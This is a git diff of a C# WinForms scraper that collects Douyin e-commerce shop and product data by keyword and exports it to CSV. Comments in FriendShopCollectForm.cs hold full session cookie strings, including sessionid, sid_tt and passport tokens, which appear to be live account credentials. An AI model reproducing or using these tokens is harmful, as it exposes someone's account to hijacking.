private UserControls.ButtonEx btnLoginDouyin; + private UserControls.ButtonEx btnCollect; + private UserComponent.DataGridViewEx dgvCollect; + private UserComponent.UcGroupBoxEx ucGroupBoxEx2; + private System.Windows.Forms.ComboBox cmbSort; + private System.Windows.Forms.TextBox txtScoreRateMax; + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.Label label9; + private System.Windows.Forms.TextBox txtTotalPage; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.TextBox txtScoreRateMin; + private System.Windows.Forms.Label label12; + private System.Windows.Forms.TextBox txtShopSalesMax; + private System.Windows.Forms.TextBox txtProductCountMax; + private System.Windows.Forms.Label label13; + private System.Windows.Forms.TextBox txtProductCountMin; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.Label label15; + private System.Windows.Forms.TextBox txtShopSalesMin; + private System.Windows.Forms.Label label16; + private DevComponents.DotNetBar.Controls.TextBoxX txtKeyWords; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colKeyword; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopId; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopName; + private System.Windows.Forms.DataGridViewTextBoxColumn colRate; + private System.Windows.Forms.DataGridViewTextBoxColumn colSaleCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colShopCount; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewLinkColumn colDelete; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserControls.StatusBarUserControl statusBar; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.cs b/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.cs new file mode 100644 index 0000000..cc0df4d --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.cs @@ -0,0 +1,357 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + public partial class FriendShopCollectForm : Form + { + List lstProduct = new List(); + CancellationTokenSource cancellationTokenSource = null; + long productCountMin = 0; + long productCountMax = 99999999; + long shopSaleCountMin = 0; + long shopSaleCountMax = 99999999; + /// + /// 体验分数最小值 + /// + decimal scoreMin = 0; + /// + /// 体验分数最大值 + /// + decimal scoreMax = 100; + + public FriendShopCollectForm() + { + InitializeComponent(); + } + + /// + /// + /// + /// + /// 搜索关键字 + /// 当前搜索的游标 + /// 要搜索的总数 + /// 排序依据 0:综合 2:销量 + /// + private string GetFriendShops(string cookies, string searchText, string cursor = "0", string count = "50", string sort = "0") + { + HttpWebResponse response = null; + string result; + try + { + string url = "https://lianmengapi-lf.snssdk.com/selection/search/shop?channel=App%20Store&slide_guide_has_shown=1&minor_status=0" + + "&cursor=" + cursor + "&count=" + count + "&search_text=" + GetHtml.UrlEncodeUtf8(searchText) + "&request_tag_from=m&order_by=&sort=" + sort; + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + + //https://lianmengapi-lf.snssdk.com/selection/search/shop?channel=App%20Store&slide_guide_has_shown=1&minor_status=0&cursor=0&count=50&search_text=%e8%bf%9e%e8%a1%a3%e8%a3%99&request_tag_from=m&order_by=&sort=0 + //https://lianmengapi-lf.snssdk.com/selection/search/shop?channel=App%20Store&slide_guide_has_shown=1&minor_status=0&cursor=80&count=100&search_text=%E8%BF%9E%E8%A1%A3%E8%A3%99&request_tag_from=m&order_by=&sort=0"); + //gfsitesid=MTI1NzAyNzU1NHwxNjI2MDc2NDI1NDN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTI1NzAyNzU1NHwxNjI2MDc2NDI1NDN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTI1NzAyNzU1NHwxNjI2MDc2NDI1NDN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gfsitesid=MTI1NzAyNzU1NHwxNjI2MDc2NDI1NDN8fDQyOTIxMTA1Mjk2MDgzNzUHBwcHBwcH; gftoken=MTI1NzAyNzU1NHwxNjI2MDc2NDI1NDN8fDAGBgYGBgY; Hm_lvt_b6520b076191ab4b36812da4c90f7a5e=1626076426; MONITOR_WEB_ID=ff46fe79-c1bd-4d03-b18d-39e78c59e3cf; passport_csrf_token_default=7565758120670bc073d791d6c2516599; passport_csrf_token=7565758120670bc073d791d6c2516599; ttcid=84ce6ad7a7c54817876bc354ce50e63998; ttwid=1%7C6M4WENwiVxCUI00v2KqThQe4VmQM34O0AXRdgU3S7ns%7C1626076427%7C6238c10c68cd01bf99c1a8fa834c4250f32a8b2ccc2adc1029ef451cab53cd60; n_mh=7LrrRmeUceh3vjPZWa4C3h7B_APxodsUr7zuYy75V90; sso_uid_tt=2ef4d6078ca6ad08e04251ff869d1454; sso_uid_tt_ss=2ef4d6078ca6ad08e04251ff869d1454; toutiao_sso_user=1f5ff878e13850a8a76d1c5002053dbb; toutiao_sso_user_ss=1f5ff878e13850a8a76d1c5002053dbb; odin_tt=fa6e9e56199abc6fe54781e77c689540450d6e2513913a8b02ae5b1253072129714f9118b1da0c09bfb9397d4dc5c318604bae278e4cf15e9845340f22d65e69; uidpasaddaehruigqreajf=0; tt_scid=rx5XfMYxzTA66ZKDdmoMcC4qrQQzNeZh-wTo-K3sfH8pDdVFgiS9pBpGCcVx2ORX5bdd; ucas_sso_c0_ss=CkEKBTEuMC4wEJ6Ihe7Jof31YBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0CT6q-HBkiTnuyJBlCOvKLE77ansWBYbhIU5OPHMBH5sjM45bXzqY54qXYF2OY; ucas_sso_c0=CkEKBTEuMC4wEJ6Ihe7Jof31YBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0CT6q-HBkiTnuyJBlCOvKLE77ansWBYbhIU5OPHMBH5sjM45bXzqY54qXYF2OY; ucas_c0_ss=CkEKBTEuMC4wEKSIhsLaof31YBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0CT6q-HBkiTnuyJBlCOvKLE77ansWBYbhIUpAxRIGvlmWnW3egoiY9Qkn_jA-M; sid_guard=0f3e1676339ab15de4697e624ff85b58%7C1626076435%7C5184000%7CFri%2C+10-Sep-2021+07%3A53%3A55+GMT; uid_tt=40ce5c67070509846fb296d5d132a38a; uid_tt_ss=40ce5c67070509846fb296d5d132a38a; sid_tt=0f3e1676339ab15de4697e624ff85b58; sessionid=0f3e1676339ab15de4697e624ff85b58; sessionid_ss=0f3e1676339ab15de4697e624ff85b58; ucas_c0=CkEKBTEuMC4wEKSIhsLaof31YBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0CT6q-HBkiTnuyJBlCOvKLE77ansWBYbhIUpAxRIGvlmWnW3egoiY9Qkn_jA-M; PHPSESSID=ff529a6f01eaf19e6a00245e676d1fa0; PHPSESSID_SS=ff529a6f01eaf19e6a00245e676d1fa0; need_choose_shop=0; Hm_lpvt_b6520b076191ab4b36812da4c90f7a5e=1626076436; login_info=%7B%22for_im_reply%22%3A%22ff529a6f01eaf19e6a00245e676d1fa0%22%7D + //passport_csrf_token_default=b45f8a5deab82f55ee0a9b2452c78a2d; passport_csrf_token=b45f8a5deab82f55ee0a9b2452c78a2d; n_mh=7LrrRmeUceh3vjPZWa4C3h7B_APxodsUr7zuYy75V90; sso_uid_tt=77d4f2eb5023c34a6a9a7cebb2b382db; sso_uid_tt_ss=77d4f2eb5023c34a6a9a7cebb2b382db; toutiao_sso_user=a884ccbcc49dad835d33cdc613c62438; toutiao_sso_user_ss=a884ccbcc49dad835d33cdc613c62438; odin_tt=ef6c903d84d840d6849ac89bba2da6f261fd3ae8b722c34f3e85ac154b69709e145deb2aef4fa2dbb777d1d6c53146dcc3ade71ffb17f315e410d911b0eff5db; ucas_sso_c0_ss=CkEKBTEuMC4wEKSIiN6mnor2YBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0CG0rCHBkiGhu2JBlCOvKLE77ansWBYbhIUtfYvQwb4NE052EdbcrL95yHsFrs; ucas_sso_c0=CkEKBTEuMC4wEKSIiN6mnor2YBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0CG0rCHBkiGhu2JBlCOvKLE77ansWBYbhIUtfYvQwb4NE052EdbcrL95yHsFrs; ucas_c0_ss=CkEKBTEuMC4wEKSIid6mnor2YBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0CG0rCHBkiGhu2JBlCOvKLE77ansWBYbhIU-APRWpBUAsOmIf4repethZ5coPw; sid_guard=630400240480860367e63fa726e7238f%7C1626089734%7C5184000%7CFri%2C+10-Sep-2021+11%3A35%3A34+GMT; uid_tt=1b1612b50857532656f4f623275adb40; uid_tt_ss=1b1612b50857532656f4f623275adb40; sid_tt=630400240480860367e63fa726e7238f; sessionid=630400240480860367e63fa726e7238f; sessionid_ss=630400240480860367e63fa726e7238f; ucas_c0=CkEKBTEuMC4wEKSIid6mnor2YBjmJiC9k9DP4oyUBCiwITC39dDb7fTPB0CG0rCHBkiGhu2JBlCOvKLE77ansWBYbhIU-APRWpBUAsOmIf4repethZ5coPw; PHPSESSID=840c94272b784072021cecf2aefccb30; PHPSESSID_SS=840c94272b784072021cecf2aefccb30; MONITOR_WEB_ID=e8b18a1d-c085-4692-bba2-3972f9dc16e7; buyin_shop_type=24; ttwid=1%7CuycbM01qMO-TgJUFec3jiZ_znHlSLKDYKGuzE_vWz90%7C1626242695%7C4bccbd38df4bd7ff3265ca69959cdc6a6dd7df547437ab4e891149ff37a464cf; SASID=SID2_3492329951615696327; BUYIN_SASID=SID2_3492329951615696327"); + + request.ContentType = "application/x-www-form-urlencoded"; + //request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"; + request.Headers.Set(HttpRequestHeader.Cookie, cookies); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + return result; + } + + private string GetShopDetail(string productId) + { + HttpWebResponse response = null; + string result; + try + { + string url = "http://ec.snssdk.com/product/ajaxitem?b_type_new=0&device_id=0&is_outside=1&id=" + productId + "&abParams=0"; + + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.ContentType = "application/x-www-form-urlencoded"; + request.Referer = "https://haohuo.jinritemai.com/"; + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.509"; + request.Headers.Add("origin", @"https://haohuo.jinritemai.com"); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException ex) + { + if (ex.Status == WebExceptionStatus.ProtocolError) + { + response = (HttpWebResponse)ex.Response; + result = GetProxyHtml.ReadResponse(response); + return result; + } + else return ex.Message; + } + catch (Exception e) + { + if (response != null) response.Close(); + return e.Message; + } + result = GetProxyHtml.ReadResponse(response); + return result; + } + + private void btnCollect_Click(object sender, EventArgs e) + { + if (btnCollect.Text != "开始采集") + { + cancellationTokenSource.Cancel(); + return; + } + + var cookieShop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.LoginStatus == "登录成功"); + if (cookieShop == null) + { + BaseForms.BaseMsgForm.ShowError("请登录店铺账号后搜索"); + return; + } + var searchTextArr = this.txtKeyWords.Text.Split(new string[] { "\r", "\n", ",", " " }, StringSplitOptions.RemoveEmptyEntries); + if (searchTextArr.Length == 0) + { + BaseForms.BaseMsgForm.ShowError("请至少输入一个关键词"); + return; + } + productCountMin = txtProductCountMin.Text.ParseToLong(); + productCountMax = txtProductCountMax.Text.ParseToLong(); + shopSaleCountMin = txtShopSalesMin.Text.ParseToLong(); + shopSaleCountMax = txtShopSalesMax.Text.ParseToLong(); + scoreMin = txtScoreRateMin.Text.ParseToDecimal(); + scoreMax = txtScoreRateMax.Text.ParseToDecimal(); + + int totalPage = txtTotalPage.Text.ParseToInt(); + lstProduct.Clear(); + this.dgvCollect.Rows.Clear(); + var sortType = cmbSort.SelectedIndex <= 0 ? "0" : "2"; + cancellationTokenSource = new CancellationTokenSource(); + int n = 0; + int total = searchTextArr.Count() * totalPage; + this.statusBar.lblTaskStatus.Text = "开始采集..."; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + btnCollect.Text = "停止采集"; + Task.Run(() => + { + foreach (var searchText in searchTextArr) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var exportFileName = "采集导出\\抖音同行采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + try + { + if (!Directory.Exists("采集导出")) + Directory.CreateDirectory("采集导出"); + StringBuilder sb = new StringBuilder(); + sb.AppendLine("关键词,店铺编号,店铺名称,体验分数,店铺销量,店铺商品总数,商品链接"); + File.AppendAllText(exportFileName, sb.ToString(), Encoding.Default); + } + catch (Exception ex) { } + + for (int page = 0; page < totalPage; page++) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + n++; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在采集同行商品:" + searchText + ",当前采集到第 " + (page + 1) + " 页"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + + //var friendProductResult = GetFriendShops(cookieShop.Cookies, searchText, (page * 10).ToString(), (totalPage * 10).ToString(), sortType); + var friendProductResult = GetFriendShops(GlobalConfig.DouUserCookies, searchText, (page * 10).ToString(), (totalPage * 10).ToString(), sortType); + if (friendProductResult.Contains("用户未登录")) + { + Invoke(new Action(() => + { + ToolForms.DouUserLoginForm dForm = new ToolForms.DouUserLoginForm(); + dForm.ShowDialog(); + })); + } + friendProductResult = GetFriendShops(GlobalConfig.DouUserCookies, searchText, (page * 10).ToString(), (totalPage * 10).ToString(), sortType); + if (friendProductResult.Contains("用户未登录")) + { + BaseMsgForm.ShowError("用户登录失败,请登录抖音账号后再试!"); + break; + } + else if (!string.IsNullOrEmpty(friendProductResult) && friendProductResult.Contains("\"status_code\":0")) + { + JObject jObj = JObject.Parse(friendProductResult); + if (jObj["shops"] == null) + continue; + + foreach (var shop in jObj["shops"]) + { + if (cancellationTokenSource.IsCancellationRequested) + break; + + var shopStr = JsonHelper.SerializeObject(shop); + + DouGoodsCollectInfo good = new DouGoodsCollectInfo(); + good.Keyword = searchText; + good.Id = BaseRegex.GetStringJson(ref shopStr, "product_id"); + good.ShopName = BaseRegex.GetStringJson(ref shopStr, "name"); + //good.ShopId = BaseRegex.GetStringJson(ref shopStr, "shop_id"); + good.CommentsRate = BaseRegex.GetStringJson(ref shopStr, "score").ParseToDouble(); + good.Sales = BaseRegex.GetStringJson(ref shopStr, "sales"); + + // 筛选条件 + if (good.Sales.ParseToLong() < this.shopSaleCountMin || good.Sales.ParseToLong() > this.shopSaleCountMax + || good.CommentsRate.ParseToDecimal() < scoreMin || good.CommentsRate.ParseToDecimal() > scoreMax) + { + continue; + } + + Thread.Sleep(Randomx.GetId(500, 1000)); + string detailResult = GetShopDetail(good.Id); + if (string.IsNullOrEmpty(detailResult) || !detailResult.Contains("\"st\":0")) + { + Thread.Sleep(Randomx.GetId(500, 1000)); + detailResult = GetShopDetail(good.Id); + } + + if (!string.IsNullOrEmpty(detailResult) && detailResult.Contains("\"st\":0")) + { + good.ShopProductCount = BaseRegex.GetStringJson(ref detailResult, "shop_product_count").ParseToInt(); + + // 筛选条件 + if (good.ShopProductCount < this.productCountMin || good.ShopProductCount > this.productCountMax) + { + continue; + } + } + + // 获取可用于店铺查询的店铺ID + Thread.Sleep(Randomx.GetId(300, 600)); + string shopResult = Work.BLL.Collect.HaoWuCollectBLL.getHtml("https://ec.snssdk.com/product/fxgajaxstaticitem?" + + "b_type_new=0&device_id=0&is_outside=1&id=" + good.Id + "&preview=0", "", "utf8"); + if (!string.IsNullOrEmpty(shopResult)) + good.ShopId = BaseRegex.GetStringJson(ref shopResult, "shop_id"); + + try + { + this.lstProduct.Add(good); + StringBuilder sb = new StringBuilder(); + sb.AppendLine(good.Keyword + "," + good.ShopId + "," + + good.ShopName + "," + good.CommentsRate + "," + good.Sales + "," + good.ShopProductCount + "," + + "https://haohuo.jinritemai.com/views/product/item2?id=" + good.Id); + File.AppendAllText(exportFileName, sb.ToString(), Encoding.Default); + } + catch (Exception ex) + { + } + Invoke(new Action(() => + { + var index = this.dgvCollect.Rows.Add(false, good.Keyword, good.ShopId, good.ShopName, good.CommentsRate, good.Sales, + good.ShopProductCount, "https://haohuo.jinritemai.com/views/product/item2?id=" + good.Id, "删除"); + })); + } + } + } + } + Invoke(new Action(() => + { + btnCollect.Text = "开始采集"; + + this.statusBar.lblTaskStatus.Text = "采集结束,共采集到商品" + this.lstProduct.Count + "个"; + this.statusBar.pgbTaskProgress.Value = n; + this.statusBar.pgbTaskProgress.Text = n + "/" + total; + this.statusBar.pgbTaskProgress.Maximum = total; + })); + }, cancellationTokenSource.Token); + } + + private void btnLoginDouyin_Click(object sender, EventArgs e) + { + DouUserLoginForm dForm = new DouUserLoginForm(); + dForm.ShowDialog(); + } + + private void FriendShopCollectForm_Load(object sender, EventArgs e) + { + this.cmbSort.SelectedIndex = 0; + } + + private void dgvCollect_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var goodsId = dgvCollect.Rows[e.RowIndex].Cells["colProductId"].Value.ToString(); + var columnName = dgvCollect.Columns[e.ColumnIndex].Name; + if (columnName == "colProductId") + { + string url = goodsId; + GetHtml.OpenUrl(url); + } + } + + private void btnExport_Click(object sender, EventArgs e) + { + try + { + SaveFileDialog saveFileDialog1 = new SaveFileDialog(); + saveFileDialog1.Filter = "表格文件(*.csv)|*.csv"; + saveFileDialog1.FileName = "抖音同行采集" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".csv"; + saveFileDialog1.FilterIndex = 2; + saveFileDialog1.RestoreDirectory = true; + if (saveFileDialog1.ShowDialog() == DialogResult.OK) + { + StringBuilder sb = new StringBuilder(); + sb.AppendLine("关键词,店铺编号,店铺名称,体验分数,店铺销量,店铺商品总数,商品链接"); + foreach (var goodsInfo in lstProduct) + { + sb.AppendLine(goodsInfo.Keyword + "," + goodsInfo.ShopId + "," + + goodsInfo.ShopName + "," + goodsInfo.CommentsRate + "," + goodsInfo.Sales + "," + goodsInfo.ShopProductCount + "," + + "https://haohuo.jinritemai.com/views/product/item2?id=" + goodsInfo.Id); + } + File.WriteAllText(saveFileDialog1.FileName, sb.ToString(), Encoding.Default); + BaseForms.BaseMsgForm.ShowInfo("导出成功"); + } + } + catch (Exception ex) + { + BaseForms.BaseMsgForm.ShowError(ex.Message); + } + } + } +} diff --git a/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.resx b/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.resx new file mode 100644 index 0000000..535e07d --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/FriendShopCollectForm.resx @@ -0,0 +1,144 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.Designer.cs b/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.Designer.cs new file mode 100644 index 0000000..3512ef1 --- /dev/null +++ b/TEMUKJD/KJDForms/CollectForms/HaoWuCollectForm.Designer.cs @@ -0,0 +1,556 @@ +namespace LittleRabbit.LittleRabbitForms.CollectForms +{ + partial class HaoWuCollectForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.btnExport = new LittleRabbit.UserControls.ButtonEx(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.cmbCategory = new System.Windows.Forms.ComboBox(); + this.txtRateMax = new System.Windows.Forms.TextBox(); + this.chkShowImage = new System.Windows.Forms.CheckBox(); + this.label7 = new System.Windows.Forms.Label(); + this.txtCollectPage = new System.Windows.Forms.TextBox(); + this.label8 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.txtRateMin = new System.Windows.Forms.TextBox(); + this.label2 = new System.Windows.Forms.Label(); + this.txtSaleCountMax = new System.Windows.Forms.TextBox(); + this.txtPriceMax = new System.Windows.Forms.TextBox(); + this.label5 = new System.Windows.Forms.Label(); + this.txtPriceMin = new System.Windows.Forms.TextBox(); + this.label6 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.txtSaleCountMin = new System.Windows.Forms.TextBox(); + this.label4 = new System.Windows.Forms.Label(); + this.btnLoginDouyin = new LittleRabbit.UserControls.ButtonEx(); + this.btnCollect = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvCollect = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colProductId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colProductName = new System.Windows.Forms.DataGridViewLinkColumn(); + this.colImage = new System.Windows.Forms.DataGridViewImageColumn(); + this.colPrice = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colSaleCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colRate = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopCount = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colDelete = new System.Windows.Forms.DataGridViewLinkColumn(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvCollect)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnExport); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Controls.Add(this.btnLoginDouyin); + this.splitContainer1.Panel1.Controls.Add(this.btnCollect); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer2); + this.splitContainer1.Size = new System.Drawing.Size(878, 472); + this.splitContainer1.SplitterDistance = 121; + this.splitContainer1.TabIndex = 375; + // + // btnExport + // + this.btnExport.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnExport.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnExport.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnExport.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnExport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnExport.ForeColor = System.Drawing.Color.White; + this.btnExport.Location = new System.Drawing.Point(798, 84); + this.btnExport.Margin = new System.Windows.Forms.Padding(2); + this.btnExport.Name = "btnExport"; + this.btnExport.Size = new System.Drawing.Size(66, 26); + this.btnExport.TabIndex = 394; + this.btnExport.Text = "导出数据"; + this.btnExport.UseVisualStyleBackColor = false; + this.btnExport.Click += new System.EventHandler(this.btnExport_Click); + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.ROUND; + this.ucGroupBoxEx1.Controls.Add(this.cmbCategory); + this.ucGroupBoxEx1.Controls.Add(this.txtRateMax); + this.ucGroupBoxEx1.Controls.Add(this.chkShowImage); + this.ucGroupBoxEx1.Controls.Add(this.label7); + this.ucGroupBoxEx1.Controls.Add(this.txtCollectPage); + this.ucGroupBoxEx1.Controls.Add(this.label8); + this.ucGroupBoxEx1.Controls.Add(this.label1); + this.ucGroupBoxEx1.Controls.Add(this.txtRateMin); + this.ucGroupBoxEx1.Controls.Add(this.label2); + this.ucGroupBoxEx1.Controls.Add(this.txtSaleCountMax); + this.ucGroupBoxEx1.Controls.Add(this.txtPriceMax); + this.ucGroupBoxEx1.Controls.Add(this.label5); + this.ucGroupBoxEx1.Controls.Add(this.txtPriceMin); + this.ucGroupBoxEx1.Controls.Add(this.label6); + this.ucGroupBoxEx1.Controls.Add(this.label3); + this.ucGroupBoxEx1.Controls.Add(this.txtSaleCountMin); + this.ucGroupBoxEx1.Controls.Add(this.label4); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(3, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(426, 120); + this.ucGroupBoxEx1.TabIndex = 393; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "采集参数"; + // + // cmbCategory + // + this.cmbCategory.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbCategory.FormattingEnabled = true; + this.cmbCategory.Location = new System.Drawing.Point(76, 21); + this.cmbCategory.Name = "cmbCategory"; + this.cmbCategory.Size = new System.Drawing.Size(105, 25); + this.cmbCategory.TabIndex = 375; + // + // txtRateMax + // + this.txtRateMax.Location = new System.Drawing.Point(330, 86); + this.txtRateMax.Name = "txtRateMax"; + this.txtRateMax.Size = new System.Drawing.Size(55, 23); + this.txtRateMax.TabIndex = 391; + this.txtRateMax.Text = "100"; + // + // chkShowImage + // + this.chkShowImage.AutoSize = true; + this.chkShowImage.Location = new System.Drawing.Point(76, 87); + this.chkShowImage.Name = "chkShowImage"; + this.chkShowImage.Size = new System.Drawing.Size(99, 21); + this.chkShowImage.TabIndex = 392; + this.chkShowImage.Text = "显示商品图片"; + this.chkShowImage.UseVisualStyleBackColor = true; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(314, 89); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(13, 17); + this.label7.TabIndex = 390; + this.label7.Text = "-"; + // + // txtCollectPage + // + this.txtCollectPage.Location = new System.Drawing.Point(76, 54); + this.txtCollectPage.Name = "txtCollectPage"; + this.txtCollectPage.Size = new System.Drawing.Size(105, 23); + this.txtCollectPage.TabIndex = 376; + this.txtCollectPage.Text = "5"; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(205, 89); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(44, 17); + this.label8.TabIndex = 389; + this.label8.Text = "好评率"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(14, 25); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(56, 17); + this.label1.TabIndex = 377; + this.label1.Text = "采集类目"; + // + // txtRateMin + // 